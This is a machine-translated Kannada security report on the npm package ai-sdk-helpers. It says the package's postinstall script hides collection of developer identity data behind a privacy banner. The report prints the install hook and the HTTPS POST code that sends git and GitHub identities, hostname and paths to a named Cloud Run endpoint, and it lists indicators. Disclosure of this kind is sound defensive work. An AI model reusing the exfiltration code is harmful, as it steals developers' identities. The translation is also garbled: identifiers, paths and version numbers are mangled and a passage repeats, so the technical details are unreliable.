ಟಿಎಲ್; ಡಿಆರ್
ಒಂದೇ npm ಪ್ಯಾಕೇಜ್, ai-sdk-ಸಹಾಯಕರು, ವರ್ಸೆಲ್ AI SDK ಗಾಗಿ ಉತ್ಪಾದನಾ ಟೂಲ್ಕಿಟ್ನಂತೆ ಪ್ರಸ್ತುತಪಡಿಸುತ್ತದೆ, ವೆಚ್ಚ ಟ್ರ್ಯಾಕಿಂಗ್, ಪೂರೈಕೆದಾರರ ಫಾಲ್ಬ್ಯಾಕ್ ಮತ್ತು ಸ್ಟ್ರೀಮಿಂಗ್ ಸಹಾಯಕಗಳನ್ನು ನೀಡುತ್ತದೆ.
ಇದರ ಸ್ಥಾಪನೆ-ಸಮಯದ ಸ್ಕ್ರಿಪ್ಟ್ ಹೊಳಪುಳ್ಳ ಬಹಿರಂಗಪಡಿಸುವಿಕೆ ಬ್ಯಾನರ್ನೊಂದಿಗೆ ತೆರೆಯುತ್ತದೆ, ಇದನ್ನು ವಿವರಿಸುತ್ತದೆ ಅನಾಮಧೇಯ ರೋಗನಿರ್ಣಯ, ಯಾವುದೇ ಮೂಲ ಕೋಡ್, ಟೋಕನ್ಗಳು ಅಥವಾ ರುಜುವಾತುಗಳನ್ನು ರವಾನಿಸುವುದಿಲ್ಲ ಎಂದು ಭರವಸೆ ನೀಡುತ್ತಾ, a ಅನ್ನು ಗೌರವಿಸುತ್ತದೆ DO_NOT_TRACK ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವುದು ಮತ್ತು ಟೆಲಿಮೆಟ್ರಿ ನೀತಿ ಪುಟಕ್ಕೆ ಲಿಂಕ್ ಮಾಡುವುದು.
ಅದೇ ಸ್ಕ್ರಿಪ್ಟ್ ನಂತರ ಡೆವಲಪರ್ನ git ಗುರುತು, GitHub CLI ಸಂರಚನೆ, ಯಂತ್ರದ ಹೋಸ್ಟ್ ಹೆಸರು, OS ಬಳಕೆದಾರಹೆಸರು, ಕೆಲಸ ಮಾಡುವ ಡೈರೆಕ್ಟರಿ ಮತ್ತು CI ಪೂರೈಕೆದಾರರನ್ನು ಓದುತ್ತದೆ.
ಆ ಡೇಟಾವನ್ನು JSON ಆಗಿ Google Cloud Run ಎಂಡ್ಪಾಯಿಂಟ್ಗೆ ಪೋಸ್ಟ್ ಮಾಡಲಾಗುತ್ತದೆ, ಇದು ಹೇಳಲಾದ ಟೆಲಿಮೆಟ್ರಿ ನೀತಿ ಮತ್ತು ಸಂಗ್ರಹಿಸಿದ ನಿಜವಾದ ಕ್ಷೇತ್ರಗಳ ನಡುವೆ ಸ್ಪಷ್ಟ ಹೊಂದಾಣಿಕೆಯನ್ನು ಸೃಷ್ಟಿಸುತ್ತದೆ.
ಪ್ಯಾಕೇಜ್ ಅನ್ನು 83-ಸೆಕೆಂಡ್ಗಳ ಬರ್ಸ್ಟ್ನಲ್ಲಿ ಇಪ್ಪತ್ತೆರಡು ಆವೃತ್ತಿಗಳಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ ಮತ್ತು ಪ್ರತಿ ಫ್ಲ್ಯಾಗ್ ಮಾಡಲಾದ ಆವೃತ್ತಿಯಲ್ಲಿ ಇನ್ಸ್ಟಾಲ್ ಸ್ಕ್ರಿಪ್ಟ್ ಬೈಟ್-ಬೈಟ್ಗೆ ಒಂದೇ ಆಗಿರುತ್ತದೆ.
ನಮ್ಮಿಂದ ಪರಿಶೀಲಿಸಲಾದ ಎಂಟು ಆವೃತ್ತಿಗಳಲ್ಲಿ ಏಳು pipeline ಒಪ್ಪಿಗೆ-ಬ್ಯಾನರ್ ಶೈಲಿಯು ಕಾನೂನುಬದ್ಧ ಟೆಲಿಮೆಟ್ರಿಯಂತೆ ಓದುವುದರಿಂದ ML ವರ್ಗೀಕರಣಕಾರರಿಂದ ಅನಿರ್ದಿಷ್ಟ ಅಂಕಗಳನ್ನು ಗಳಿಸಲಾಗಿದೆ.
ನಾವು ವರ್ಗೀಕರಿಸುತ್ತೇವೆ ai-sdk-helpers ಸ್ಥಾಪನೆ-ಸಮಯದ ಡೆವಲಪರ್ ಗುರುತಿನ ಸಂಗ್ರಹ ಮತ್ತು ಹೊರಹರಿವಿನ ಆಧಾರದ ಮೇಲೆ ದುರುದ್ದೇಶಪೂರಿತವಾಗಿದೆ.
ತೀವ್ರತೆ: ಹೆಚ್ಚು.
ಅನುಸ್ಥಾಪನೆಯ ಅಂಗರಚನಾಶಾಸ್ತ್ರ
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್ ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಆನ್ ಆಗುತ್ತದೆ npm ಸ್ಥಾಪನೆ, ಪ್ಯಾಕೇಜ್ನ ಯಾವುದೇ ಜಾಹೀರಾತು ಕೋಡ್ ಅನ್ನು ಆಮದು ಮಾಡಿಕೊಳ್ಳುವ ಮೊದಲು. ಸ್ಕ್ರಿಪ್ಟ್ ಸ್ಕ್ರಿಪ್ಟ್ಗಳು/ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್.ಜೆಎಸ್ ಎಲ್ಲಾ ಅನುಸ್ಥಾಪನಾ ಸಮಯದ ನಡವಳಿಕೆಯು ವಾಸಿಸುವ ಸ್ಥಳ ಇದು.
ಇದು ಗೌಪ್ಯತೆ-ಪ್ರಜ್ಞೆಯ ಓಪನ್-ಸೋರ್ಸ್ ಯೋಜನೆಯ ರಿಜಿಸ್ಟರ್ನಲ್ಲಿ ಬರೆಯಲಾದ ಕಾಮೆಂಟ್ ಬ್ಲಾಕ್ ಮತ್ತು ರನ್ಟೈಮ್ ಸೂಚನೆಯೊಂದಿಗೆ ತೆರೆಯುತ್ತದೆ:
>ನೀವು ai-sdk-helpers ಅನ್ನು ಸ್ಥಾಪಿಸಿದಾಗ, ನಾವು ತ್ವರಿತ ಪರಿಸರ ಹೊಂದಾಣಿಕೆ ಪರಿಶೀಲನೆಯನ್ನು ನಡೆಸುತ್ತೇವೆ ಮತ್ತು ಅನಾಮಧೇಯ ರೋಗನಿರ್ಣಯವನ್ನು ವರದಿ ಮಾಡುತ್ತೇವೆ... ಡೇಟಾ ಸಂಪೂರ್ಣವಾಗಿ ಅನಾಮಧೇಯವಾಗಿದೆ — ನಾವು ನಿಮ್ಮ ಪ್ಲಾಟ್ಫಾರ್ಮ್, ನೋಡ್ ಆವೃತ್ತಿ ಮತ್ತು ನಿಮ್ಮ ಯಂತ್ರ ಗುರುತಿಸುವಿಕೆಯ ಒನ್-ವೇ ಹ್ಯಾಶ್ ಅನ್ನು ಸಂಗ್ರಹಿಸುತ್ತೇವೆ. ಯಾವುದೇ ಮೂಲ ಕೋಡ್, ಟೋಕನ್ಗಳು ಅಥವಾ ರುಜುವಾತುಗಳನ್ನು ಎಂದಿಗೂ ರವಾನಿಸಲಾಗುವುದಿಲ್ಲ.
ಇದು ಕೆಲಸ ಮಾಡುವ ಆಪ್ಟ್-ಔಟ್ ಗೇಟ್ ಅನ್ನು ಸಹ ವೈರ್ ಮಾಡುತ್ತದೆ, ಇದು ಫೈಲ್ನಲ್ಲಿ ಮೊದಲ ಕಾರ್ಯಗತಗೊಳಿಸಬಹುದಾದ ಕೋಡ್ ಆಗಿದೆ:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ಈ ದ್ವಾರವನ್ನು ಮೊದಲು ಲೇಸ್ ಮಾಡುವುದರಿಂದ ಉಳಿದವು ಸರ್ವಾನುಮತದಂತೆ ಓದಲ್ಪಡುತ್ತವೆ: ಹೊಂದಿಸುವ ಡೆವಲಪರ್ `D_ಟ್ರ್ಯಾಕ್_ಮಾಡಬೇಡಿ` ಅನುಸ್ಥಾಪನೆಯು ಮೌನವಾಗಿ ಪೂರ್ಣಗೊಂಡಿದೆ ಮತ್ತು ಪ್ಯಾಕೇಜ್ ಸಂಪ್ರದಾಯವನ್ನು ಗೌರವಿಸುತ್ತದೆ ಎಂದು ಮುಕ್ತಾಯಗೊಳಿಸುತ್ತದೆ. ಗೌರವಾನ್ವಿತ ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವುದು ನಿಜವಾದದ್ದು. ಅದನ್ನು ಹೊಂದಿಸದ ಪ್ರತಿಯೊಬ್ಬರಿಗೂ ಅದು ಕೆಳಗೆ ವಿವರಿಸಿದ ಸಂಗ್ರಹವನ್ನು ನೀಡುತ್ತದೆ - ಸೂಚನೆ ಹೆಸರಿಸುವ ಕಿರಿದಾದ "ಪ್ಲಾಟ್ಫಾರ್ಮ್, ನೋಡ್ ಆವೃತ್ತಿ ಮತ್ತು ಏಕಮುಖ ಹ್ಯಾಶ್" ಅಲ್ಲ.
ಆ ಗೇಟ್ ಕೆಳಗೆ, ಸ್ಕ್ರಿಪ್ಟ್ ಆ ವಿವರಣೆಯನ್ನು ಮೀರಿ ಹೋಗುವ ಪೇಲೋಡ್ ಅನ್ನು ಜೋಡಿಸುತ್ತದೆ.
- *Gಟಿ ಗುರುತು.* rಪರಿಹರಿಸಿScmಗುರುತು()` ಈಡ್ಸ್ `~.gitconfig`, ಅನ್ನು ನಮೂದಿಸಿ.`~.config/git/config`,ಮತ್ತು ಪ್ರಸ್ತುತ ಯೋಜನೆಯ `.ಅದು/ಸಂರಚನೆ`,`[ ಅನ್ನು ವಿಶ್ಲೇಷಿಸುತ್ತದೆಸೆರ್]` ection, ಮತ್ತು ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾದದನ್ನು ಹಿಂತಿರುಗಿಸುತ್ತದೆ commit ಇಮೇಲ್. ಯಾವುದೇ ಸಂರಚನಾ ಫೈಲ್ ಇಮೇಲ್ ಅನ್ನು ನೀಡದಿದ್ದರೆ, ಅದು `G' ಗೆ ಹಿಂತಿರುಗುತ್ತದೆ.ಟಿ_ಎಯುಥರ್_ಇಮೇಲ್`,`GT_COMMITTER_EMAIL`,ಮತ್ತು `ಇAIL` ಪರಿಸರ ಅಸ್ಥಿರಗಳು. ಕಾರ್ಯದ ಮೇಲಿರುವ ಡಾಕ್ಸ್ಟ್ರಿಂಗ್ "ಒಂದೇ ವ್ಯಕ್ತಿಯ (ಉದಾ. ಲ್ಯಾಪ್ಟಾಪ್ + CI) ಒಡೆತನದ ಯಂತ್ರಗಳಲ್ಲಿ ಸ್ಥಾಪನೆಗಳನ್ನು ನಕಲು ಮಾಡಲು" ಒಂದು ಮಾರ್ಗವಾಗಿ ಓದುವಿಕೆಯನ್ನು ಫ್ರೇಮ್ ಮಾಡುತ್ತದೆ - ಇದು ಸ್ಥಿರವಾದ ಪ್ರತಿ-ಡೆವಲಪರ್ ಗುರುತಿಸುವಿಕೆಯ ಅಗತ್ಯವಿರುವ ಒಂದು ನಿರ್ದಿಷ್ಟ ಉದ್ದೇಶವಾಗಿದೆ, ಇದು a commit ಇಮೇಲ್ ಸರಬರಾಜುಗಳು.
- *GtHub ಖಾತೆ.* rಪರಿಹಾರಗಿಟ್ಹಬ್ಐಡೆಂಟಿಟಿ()` ಈಡ್ಸ್ `~.config/gh/hosts.yml` ಮತ್ತು `~.config/gh/hosts.yaml` ಡೆವಲಪರ್ ದೃಢೀಕರಿಸಿದಾಗ GitHub CLI ಬರೆದ ಕಾನ್ಫಿಗರೇಶನ್ ಫೈಲ್ - ಮತ್ತು regex- `u ಅನ್ನು ಹೊರತೆಗೆಯುತ್ತದೆಎರ್:` ಮತ್ತು `ಇಅಯ್ಯೋ:` ields. ಆ ಫೈಲ್ GitHub OAuth ಟೋಕನ್ ಅನ್ನು ಸಹ ಸಂಗ್ರಹಿಸುತ್ತದೆ; ಸ್ಕ್ರಿಪ್ಟ್ನ regex ಬಳಕೆದಾರಹೆಸರು ಮತ್ತು ಇಮೇಲ್ ಲೈನ್ಗಳನ್ನು ನಿರ್ದಿಷ್ಟವಾಗಿ ಗುರಿಯಾಗಿಸುತ್ತದೆ ಮತ್ತು ಟೋಕನ್ ಅನ್ನು ಹೊರತೆಗೆಯುವುದಿಲ್ಲ. ಆದ್ದರಿಂದ ಸುತ್ತಮುತ್ತಲಿನ ಖಾತೆ ಗುರುತಿಸುವಿಕೆಗಳನ್ನು ಓದಲಾಗುತ್ತದೆ ಮತ್ತು ಕಳುಹಿಸಲಾಗುತ್ತದೆ, ಆದರೆ ಬಹಿರಂಗಪಡಿಸುವಿಕೆ ಬ್ಯಾನರ್ನ "ಯಾವುದೇ ಟೋಕನ್ಗಳು... ಎಂದಿಗೂ ರವಾನೆಯಾಗುವುದಿಲ್ಲ" ಎಂಬ ಹಕ್ಕು ಆ ಒಂದು ಕ್ಷೇತ್ರಕ್ಕೆ ಅಕ್ಷರಶಃ ನಿಜವಾಗಿದೆ.
- *Hಸ್ಟ ಮತ್ತು CI ಫಿಂಗರ್ಪ್ರಿಂಟ್.* ಅವನು ಸ್ಕ್ರಿಪ್ಟ್ ನಂತರ `o' ಅನ್ನು ಸಂಗ್ರಹಿಸುತ್ತಾನೆ..ಹೋಸ್ಟ್ ಹೆಸರು()`,`oಬಳಕೆದಾರಹೆಸರು,ನೋಡ್ ಆವೃತ್ತಿ, ವೇದಿಕೆ ಮತ್ತು ವಾಸ್ತುಶಿಲ್ಪ, `pocess.cwd()`,ಮತ್ತು ಎಂಟು ಪೂರೈಕೆದಾರರಿಗೆ (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ಮತ್ತು ಎರಡು ಜೆನೆರಿಕ್-CI ಫ್ಲ್ಯಾಗ್ಗಳು) ಪರಿಸರ ವೇರಿಯೇಬಲ್ಗಳನ್ನು ಪರಿಶೀಲಿಸುವ ಮೂಲಕ ಪರಿಹರಿಸಲಾದ CI-ಪ್ರೊವೈಡರ್ ಲೇಬಲ್. ಸ್ಕ್ರಿಪ್ಟ್ ಎಲ್ಲಿ ಕಾರ್ಯಗತಗೊಳಿಸಲು ನಿರೀಕ್ಷಿಸುತ್ತದೆ ಎಂಬುದರ ದಾಸ್ತಾನು ಎಂದು ಪೂರೈಕೆದಾರರ ಪಟ್ಟಿಯು ಓದುತ್ತದೆ - ಸಂವಾದಾತ್ಮಕ ಶೆಲ್ಗಳು ಮತ್ತು ಸ್ವಯಂಚಾಲಿತ ನಿರ್ಮಾಣ. pipelineಸಮಾನವಾಗಿರುತ್ತದೆ.
ಇವೆಲ್ಲವನ್ನೂ ಒಂದೇ `d' ನಲ್ಲಿ ಗುಂಪು ಮಾಡಲಾಗಿದೆ.ಅಜ್ಞೇಯತಾವಾದಿಗಳು `i' ಅಡಿಯಲ್ಲಿ ಸಂಗ್ರಹಿಸಲಾದ ಪ್ರತಿ-ಡೆವಲಪರ್ ಕ್ಷೇತ್ರಗಳೊಂದಿಗೆ bjectಘಟಕ` ey ಮತ್ತು `r ಅಡಿಯಲ್ಲಿನ ಹೋಸ್ಟ್ ಡೇಟಾಸಮಯವಿಲ್ಲ` ಮತ್ತು `ಸಿಪಠ್ಯ eys, ನಂತರ ಧಾರಾವಾಹಿಯಾಗಿ ಮತ್ತು ಪ್ರಸಾರವಾಯಿತು:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ತಿರಸ್ಕರಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಎಲ್ಲಾ ದೋಷಗಳನ್ನು ನುಂಗಲಾಗುತ್ತದೆ - "ಟೆಲಿಮೆಟ್ರಿ ಎಂದಿಗೂ ಅನುಸ್ಥಾಪನೆಯನ್ನು ಮುರಿಯಬಾರದು" ಎಂದು ಕಾಮೆಂಟ್ ಟಿಪ್ಪಣಿ ಮಾಡುತ್ತದೆ. ಎಂಡ್ಪಾಯಿಂಟ್ ಹೋಸ್ಟ್ನೇಮ್ `e' ನಲ್ಲಿ Google ಕ್ಲೌಡ್ ರನ್ ಸೇವೆಯನ್ನು ಎನ್ಕೋಡ್ ಮಾಡುತ್ತದೆ.ರೋಪ್-ವೆಸ್ಟ್1` ಈಜಿಯಾನ್.
ಅಂತರವೇ ಕಥೆ. ಬ್ಯಾನರ್ ಮೂರು ವರ್ಗಗಳ ಡೇಟಾವನ್ನು ಹೆಸರಿಸುತ್ತದೆ - ಪ್ಲಾಟ್ಫಾರ್ಮ್, ನೋಡ್ ಆವೃತ್ತಿ, ಯಂತ್ರ-ಗುರುತಿಸುವಿಕೆ ಹ್ಯಾಶ್. ಪೇಲೋಡ್ ಡೆವಲಪರ್ನ ನಿಜವಾದ ಗಿಟ್ ಅನ್ನು ಕಳುಹಿಸುತ್ತದೆ. commit ಇಮೇಲ್, ಅವರ GitHub ಬಳಕೆದಾರಹೆಸರು ಮತ್ತು ಇಮೇಲ್, ಅವರ ಯಂತ್ರದ ಹೋಸ್ಟ್ ಹೆಸರು ಮತ್ತು OS ಖಾತೆ ಹೆಸರು, ಅವರ ಪ್ರಾಜೆಕ್ಟ್ ಮಾರ್ಗ ಮತ್ತು ಅವರ CI ಪರಿಸರ. *p ಅನ್ನು ಗುರುತಿಸುವ ಕ್ಷೇತ್ರಗಳುಆರ್ಸನ್ ಮತ್ತು ಅವರ ಖಾತೆಗಳು* ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯು ಬಿಟ್ಟುಬಿಡುವ ಕ್ಷೇತ್ರಗಳನ್ನು ನಿಖರವಾಗಿ ಮರು ವ್ಯಾಖ್ಯಾನಿಸಿ.
README ಇನ್ನೊಂದು ಬದಿಯಿಂದ ಚೌಕಟ್ಟನ್ನು ಬಲಪಡಿಸುತ್ತದೆ. ಇದರ “ಟೆಲಿಮೆಟ್ರಿ” ವಿಭಾಗವು ಅನಾಮಧೇಯತೆಯ ಹಕ್ಕನ್ನು ಪುನರಾವರ್ತಿಸುತ್ತದೆ ಮತ್ತು `D' ಪದವನ್ನು ಲಿಂಕ್ ಮಾಡುತ್ತದೆ._ಟ್ರ್ಯಾಕ್_ಮಾಡಬೇಡಿ` ಓ `ಸಿnsoledonottrack.com`,ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವ ಸಮಾವೇಶವನ್ನು ದಾಖಲಿಸುವ ನಿಜವಾದ ಸಮುದಾಯ ಪುಟ - ಮಾನ್ಯತೆ ಪಡೆದ ಗೌಪ್ಯತೆಯನ್ನು ಎರವಲು ಪಡೆಯುವುದು standard ಸೂಚನೆಯನ್ನು ದಿನನಿತ್ಯ ಓದುವಂತೆ ಮಾಡಲು.
ಟೈಮ್ಲೈನ್
ಇದು ತುಂಬಾ ಚಿಕ್ಕದಾದ, ತುಂಬಾ ದಟ್ಟವಾದ ಪ್ರಕಟಣೆಯ ಇತಿಹಾಸವನ್ನು ಹೊಂದಿರುವ ಒಂದೇ ಪ್ಯಾಕೇಜ್ನ ಹುಡುಕಾಟವಾಗಿದೆ. ಪತ್ತೆಹಚ್ಚಲು ಯಾವುದೇ ಬಹು-ವಾರಗಳ ಪ್ರಚಾರ ಚಾಪವಿಲ್ಲ - ಸಂಪೂರ್ಣ ಆವೃತ್ತಿಯ ಶ್ರೇಣಿಯನ್ನು ಯಂತ್ರದ ವೇಗದಲ್ಲಿ ತಳ್ಳಲಾಯಿತು.
| ಯಾವಾಗ (UTC) | ಈವೆಂಟ್ |
|---|---|
| 2026-06-03 20:31:20 | ಮೊದಲ ಆವೃತ್ತಿ (0.1.0) npm ಗೆ ಪ್ರಕಟಿಸಲಾಗಿದೆ. |
| 2026-06-03 20:31:20 – 20:32:43 | ಎಲ್ಲಾ 22 ಆವೃತ್ತಿಗಳು (0.1.0 ಮೂಲಕ 1.4.2) 83-ಸೆಕೆಂಡ್ ಸ್ವಯಂಚಾಲಿತ ಸ್ಫೋಟದಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. |
| 2026-06-04 | ಪತ್ತೆ ಸಂಕೇತಗಳಿಂದ ಎಂಟು ಆವೃತ್ತಿಗಳನ್ನು ಫ್ಲ್ಯಾಗ್ ಮಾಡಲಾಗಿದೆ; ಹಸ್ತಚಾಲಿತ ವಿಶ್ಲೇಷಣೆಯು ಸ್ಥಾಪನೆ-ಸಮಯದ ಗುರುತಿನ ಸಂಗ್ರಹ ಮತ್ತು ಹೊರಹರಿವನ್ನು ಖಚಿತಪಡಿಸುತ್ತದೆ. ವಿಶ್ಲೇಷಣೆಯ ಸಮಯದಲ್ಲಿ ಪ್ಯಾಕೇಜ್ npm ನಲ್ಲಿ ಲೈವ್ ಆಗಿತ್ತು. |
22 ಲಾಕ್ಷಣಿಕ ಆವೃತ್ತಿಗಳಲ್ಲಿ 83-ಸೆಕೆಂಡ್ ವಿಂಡೋ ಸ್ವತಃ ವರ್ತನೆಯ ಸೂಚಕವಾಗಿದೆ: ಆವೃತ್ತಿ ಏಣಿ (`0೧.೧`,`0೧.೧`,… `1೪.೨`)ಒಂದು ಸ್ಕ್ರಿಪ್ಟ್ ಮಾಡಿದ ರನ್ನಲ್ಲಿ ಉತ್ಪತ್ತಿಯಾಗುವ ಬಿಡುಗಡೆ ಇತಿಹಾಸದೊಂದಿಗೆ ಸಕ್ರಿಯವಾಗಿ ನಿರ್ವಹಿಸಲ್ಪಡುವ ಯೋಜನೆಯ ಮೇಲ್ಮೈಯನ್ನು ಪ್ರಸ್ತುತಪಡಿಸುತ್ತದೆ. ಆ ಏಣಿಯಾದ್ಯಂತ ಇನ್ಸ್ಟಾಲ್ ಸ್ಕ್ರಿಪ್ಟ್ ಬದಲಾಗುವುದಿಲ್ಲ - ಕೆಳಗೆ ನೋಡಿ.
ರಾಜಿ ಸೂಚಕಗಳು
ಪ್ರಕಟಿತ ಆವೃತ್ತಿಯ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಸ್ಥಾಪನೆ-ಸಮಯದ ಪೇಲೋಡ್ ಒಂದೇ ಆಗಿರುತ್ತದೆ.ff` ಎಫ್`ಎಸ್ರಿಪ್ಟ್ಸ್/ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್.ಜೆಎಸ್` ಈಟ್ವೀನ್ ಆವೃತ್ತಿ `0 ರ ನಡುವೆ2.1` ಎರಡನೇ ಆವೃತ್ತಿ `14.2` ಯಾವುದೇ ವ್ಯತ್ಯಾಸಗಳನ್ನು ಉಂಟುಮಾಡುವುದಿಲ್ಲ; ನಡವಳಿಕೆಯು ಒಂದು ಸ್ಥಿರ ಬೆರಳಚ್ಚು, ವಿಕಸನಗೊಳ್ಳುತ್ತಿರುವ ಪೇಲೋಡ್ ಅಲ್ಲ.
ನೆಟ್ವರ್ಕ್
22 ಲಾಕ್ಷಣಿಕ ಆವೃತ್ತಿಗಳಲ್ಲಿ 83-ಸೆಕೆಂಡ್ ವಿಂಡೋ ಸ್ವತಃ ವರ್ತನೆಯ ಸೂಚಕವಾಗಿದೆ: ಆವೃತ್ತಿ ಏಣಿ (`0೧.೧`,`0೧.೧`,… `1೪.೨`)ಒಂದು ಸ್ಕ್ರಿಪ್ಟ್ ಮಾಡಿದ ರನ್ನಲ್ಲಿ ಉತ್ಪತ್ತಿಯಾಗುವ ಬಿಡುಗಡೆ ಇತಿಹಾಸದೊಂದಿಗೆ ಸಕ್ರಿಯವಾಗಿ ನಿರ್ವಹಿಸಲ್ಪಡುವ ಯೋಜನೆಯ ಮೇಲ್ಮೈಯನ್ನು ಪ್ರಸ್ತುತಪಡಿಸುತ್ತದೆ. ಆ ಏಣಿಯಾದ್ಯಂತ ಇನ್ಸ್ಟಾಲ್ ಸ್ಕ್ರಿಪ್ಟ್ ಬದಲಾಗುವುದಿಲ್ಲ - ಕೆಳಗೆ ನೋಡಿ.
ರಾಜಿ ಸೂಚಕಗಳು
ಪ್ರಕಟಿತ ಆವೃತ್ತಿಯ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಸ್ಥಾಪನೆ-ಸಮಯದ ಪೇಲೋಡ್ ಒಂದೇ ಆಗಿರುತ್ತದೆ.ff` ಎಫ್`ಎಸ್ರಿಪ್ಟ್ಸ್/ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್.ಜೆಎಸ್` ಈಟ್ವೀನ್ ಆವೃತ್ತಿ `0 ರ ನಡುವೆ2.1` ಎರಡನೇ ಆವೃತ್ತಿ `14.2` ಯಾವುದೇ ವ್ಯತ್ಯಾಸಗಳನ್ನು ಉಂಟುಮಾಡುವುದಿಲ್ಲ; ನಡವಳಿಕೆಯು ಒಂದು ಸ್ಥಿರ ಬೆರಳಚ್ಚು, ವಿಕಸನಗೊಳ್ಳುತ್ತಿರುವ ಪೇಲೋಡ್ ಅಲ್ಲ.
ನೆಟ್ವರ್ಕ್
| ಸೂಚಕ | ಭೂಮಿಕೆ |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON ಪೇಲೋಡ್ಗಳೊಂದಿಗೆ HTTPS ಪೋಸ್ಟ್ ವಿನಂತಿಗಳನ್ನು ಸ್ವೀಕರಿಸುವ ಎಕ್ಸ್ಫಿಲ್ಟ್ರೇಶನ್ ಎಂಡ್ಪಾಯಿಂಟ್. Google ಕ್ಲೌಡ್ ರನ್ನಲ್ಲಿ ಹೋಸ್ಟ್ ಮಾಡಲಾಗಿದೆ europe-west1 ಪ್ರದೇಶ. |
ಡಿಕಾಯ್ ಮೂಲಸೌಕರ್ಯ
| ಸೂಚಕ | ಭೂಮಿಕೆ |
|---|---|
ai-sdk.guide | "AI SDK ಮಾರ್ಗದರ್ಶಿ" ಲೇಖಕರ ಗುರುತನ್ನು ಬೆಂಬಲಿಸುವ ಪ್ಯಾಕೇಜ್ ಮುಖಪುಟ ಮತ್ತು ಲೈವ್ ಸೈಟ್. |
ai-sdk.guide/telemetry | ಇನ್ಸ್ಟಾಲ್-ಸಮಯ ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯ ಸೂಚನೆಯಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲಾದ ಟೆಲಿಮೆಟ್ರಿ ನೀತಿಯ URL. |
hello@ai-sdk.guide | ಲೇಖಕರ ಇಮೇಲ್ ಅನ್ನು ಘೋಷಿಸಲಾಗಿದೆ package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | ಪ್ಯಾಕೇಜ್ ಘೋಷಿಸಿದ ಮೂಲ ಭಂಡಾರ. |
ಅನುಸ್ಥಾಪನೆಯ ಸಮಯದಲ್ಲಿ ಓದಲಾದ ಫೈಲ್ಗಳು
- -.gitconfig`, ಅನ್ನು ನಮೂದಿಸಿ.`~.config/git/config`,`<wd>/.git/config` ಗಿಟ್ `[ಸೆರ್]` ಮೇಲ್
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` ಗಿಟ್ಹಬ್ CLI `uಎರ್` `eಅಲ್ಲಾ`
ವರ್ತನೆಯ ಸಹಿಗಳು
- – ಎಂ `ಪಿಸ್ಟಿನ್ಸ್ಟಾಲ್` ook ಬಂಡಲ್ ಮಾಡಲಾದ ನೋಡ್ ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಆಹ್ವಾನಿಸಲಾಗುತ್ತಿದೆ
- – ಆಯ್ಕೆಯಿಂದ ಹೊರಗುಳಿಯುವ ಗೇಟ್ (`A_SDK_ಸಹಾಯಕರು_ಟೆಲಿಮೆಟ್ರಿ_ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾಗಿದೆ`,`D_ಟ್ರ್ಯಾಕ್_ಮಾಡಬೇಡಿ`)ಗುರುತಿನ ಸಂಗ್ರಹಕ್ಕಿಂತ ಮುಂಚಿತವಾಗಿ, ಗೌಪ್ಯತಾ ವೈಶಿಷ್ಟ್ಯವಾಗಿ ಪ್ರಸ್ತುತಪಡಿಸಲಾಗಿದೆ
- – git ಇಮೇಲ್, GitHub ಗುರುತು, ಹೋಸ್ಟ್ ಹೆಸರು, OS ಬಳಕೆದಾರಹೆಸರು, cwd ಮತ್ತು CI ಲೇಬಲ್ ಹೊಂದಿರುವ JSON ವಸ್ತುವಿನ tbound HTTPS ಪೋಸ್ಟ್
- - ತ್ವರಿತವಾಗಿ ಪ್ರಕಟವಾದ ಆವೃತ್ತಿಯ ಲ್ಯಾಡರ್ನಲ್ಲಿ ಒಂದೇ ರೀತಿಯ ಸ್ಥಾಪನೆ ಸ್ಕ್ರಿಪ್ಟ್
ಗುಣಲಕ್ಷಣ ಮತ್ತು ಗಮನಿಸಿದ ನಡವಳಿಕೆ
ಪ್ಯಾಕೇಜ್ ಮತ್ತು ರಿಜಿಸ್ಟ್ರಿ ಮೆಟಾಡೇಟಾ ರೆಕಾರ್ಡ್ ಮಾಡುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಿನದನ್ನು ನಾವು ಆರೋಪಿಸುವುದಿಲ್ಲ.
npm ದಾಖಲೆಯ ನಿರ್ವಹಣೆ ಮಾಡುವವರು ಖಾತೆ 'a' ಆಗಿರುತ್ತಾರೆ.ಇಲ್ಸಿಮನ್`,`a' ವಿಳಾಸದೊಂದಿಗೆiel@vigilance.security`.ರಿಜಿಸ್ಟ್ರಿ ಆ ಇಮೇಲ್ ಅನ್ನು ಪರಿಶೀಲಿಸಲಾಗಿಲ್ಲ ಎಂದು ಮತ್ತು ಖಾತೆಯ ಮೂಲ-ನಿಯಂತ್ರಣ ಗುರುತನ್ನು ಪರಿಶೀಲಿಸಲಾಗಿಲ್ಲ ಎಂದು ಪಟ್ಟಿ ಮಾಡುತ್ತದೆ. `pckage.json`,ಪ್ರತ್ಯೇಕವಾಗಿ, ಲೇಖಕರನ್ನು “AI SDK ಮಾರ್ಗದರ್ಶಿ `ello@ai-sdk.guide`”`a' ನ 